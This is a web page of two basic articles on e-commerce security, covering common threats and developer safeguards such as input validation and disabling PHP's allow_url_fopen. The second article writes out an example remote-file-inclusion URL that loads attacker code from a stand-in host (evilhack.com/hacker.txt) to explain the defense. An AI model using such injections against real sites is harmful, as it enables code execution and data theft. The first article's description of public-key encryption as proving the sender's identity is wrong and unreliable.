One such factor is the attack of recent viruses, resume and KAK viruses against Microsoft Outlook. This has proved that expediency permits the rapid propagation of viruses throughout internet. This problem is further fuelled by tales of e-commerce sites and consumer data privacy sites being attacked by hackers. In most business institutions, increasing security weaknesses is easily visible by stories of hackers stipulating a ransom for not printing customer credit card information. However, consumer privacy still remains as one of the top security concerns in the industry substituting even the fraud and theft fears. Still, we could tackle these threatening issues if we follow the four simple objectives which are privacy, veracity, authentication, non-repudiation.
Privacy can be tackled by encryption. A public key encrypts a message and a private key decrypts a message in PKI (public key infrastructure).Since only the sender has the exact key, it helps in proving the identity of the sender.
However, one of the common threats that hackers produce is making use of viruses to damage business data. Then, to cease access to some authorized users of a website and to compel the site to produce a downgrade service, hackers carry out denial-out-service (DOS) attacks. Sensitive data such as price lists, catalogues and valuable intellectual property are at the risk of getting accessed by the wrong hands and getting altered and destroyed. This is one of the insecurities of e-commerce. Another risk is modifying our website and corrupting our image, thus directing our own customers to another site.
Also, with a view to propagate fraud, one might try to gain access to our business or financial information which should be kept very much under the wraps. Else, it would certainly lead to crime.
Moreover, all these risks will have a great impact on businesses running through e-commerce. It could lead to criminal charges if you come across as in breach of the Data Protection or Computer Misuse Act, or any other e-commerce regulation. Market share can be in great loss if a customer loses well – established trust on you. As a consequence of fraud or litigation, financial loss is of course without doubt bound to occur. This financial loss will subsequently give birth to unwelcome publicity and stuff.
However, it's necessary to tackle security problems. One way is by giving a username and password combination before surfing on any site. Also, an authentication token is required which is known to the user. A personal identification no is one such step which meets the need for authentication. Through the operation of an entity’s unique signing key, a digital certificate can be bought into action. Network restrictions should be made to curb access to other computer networks and systems.
So there are good numbers of ways from which we can prevent security problems. So like everything else in life, one should always be careful with e-commerce too because nothing in life is about a hundred percent guarantee.
E Commerce And Security
Security in an e-commerce website needs to be a major consideration when developing an e-commerce website or software. A developer needs to be aware of all the security considerations when designing a site. With e-commerce becoming more commonplace these days, the number of security attacks is certainly increasing. Paranoia is a healthy thing for e-commerce site developers, we need to keep up to gate with security issues, and keep our ears and eyes open. Though the following loopholes are serious, the following loopholes if present are easily fixed.
Listed below are some security considerations to be included when developing a site. This article does not cover e-shoplifting, please see my separate article on this.
User input ? every input, whether it be entering a quantity, searching for a product, entering a name etc, needs to be validated for suspicious characters. If this is not done, it is possible to enter ??>?, the closing end tags of PHP and execute some PHP code.
It is far safer allow numbers and characters a-z (capitals included) & 0-9 and nothing else, rather than make a list of all the character that shouldn't be there. The validation script needs to scroll through each character one by one. This needs to be achieved using in server side validation, not Javascript. Using server side input validation is essential to keep out unwanted characters
There exists another major when executing PHP code. When using PHP there is a setting called allow_url_fopen which enables the opening of files from a PHP script. This setting should be turned off, unless absolutely necessary.
Just imagine you have PHP scripts for both fixed headers and footers, and to access your webpages you would type in http://www.mysite.com/index.php?page=page2. All it takes is a malicious user to run a script by modifying these parameters by typing in ?http:// www.mysite.com/index.php?page=http://www.evilhack.com/hacker.txt? with some PHP code in the file ?hacker.txt?. You could have anything happen, PHP files read, deleted, vital information stolen.
If you are not sure if this setting is on or off, please copy the following PHP code into a text file, and upload it to your web server:
phpinfo();
?>
When you access your script on your webserver, you should come across the setting allow_url_fopen under configuration.
A computer user, under normal circumstances cannot find the value of this setting.
Be careful of exported data like orders, products in CSV & mySQL files. If this data is exported from a script and is kept on the web server under a common file name ie. http://www.mysite.com/admin/output_tables.csv. This is only really a problem when the exported data resides in a file in a directory that is publicly accessible. There is two ways to prevent this security loophole ? First have the output file behind a password protected directory, secondly have the data located inside a HTML textarea form element on a script. The storeowner can then copy this information from the textfile and create a new file on their computer and paste the information here.
All it takes is a hacker to find this filename by checking out the e-commerce software's demo website and look for the same filename on a real site.
Both Dylan Sun & Paul Roberts are contributors for EditorialToday. The above articles have been edited for relevancy and timeliness. All write-ups, reviews, tips and guides published by EditorialToday.com and its partners or affiliates are for informational purposes only. They should not be used for any legal or any other type of advice. We do not endorse any author, contributor, writer or article posted by our team.
Dylan Sun has sinced written about articles on various topics from Astrology, Organizational and Gardening. , the leading B2B platform, combining vertical search engine with value added service portal. It has more than 430 000 China quality suppliers and p. Dylan Sun's top article generates over 90500 views. to your Favourites.
Paul Roberts has sinced written about articles on various topics from The Beach Resort, Online Business and Start Ups. Paul RobertsI run a software development company specialising in E-Commerce, Search Engine Optimization, and Print Estimation software called
Business Process Improvement Tool Whichever steps are appropriate for your company, consider a make versus buy approach to see where externally available software or consultants can be leveraged to accelerate or more cost effectively ...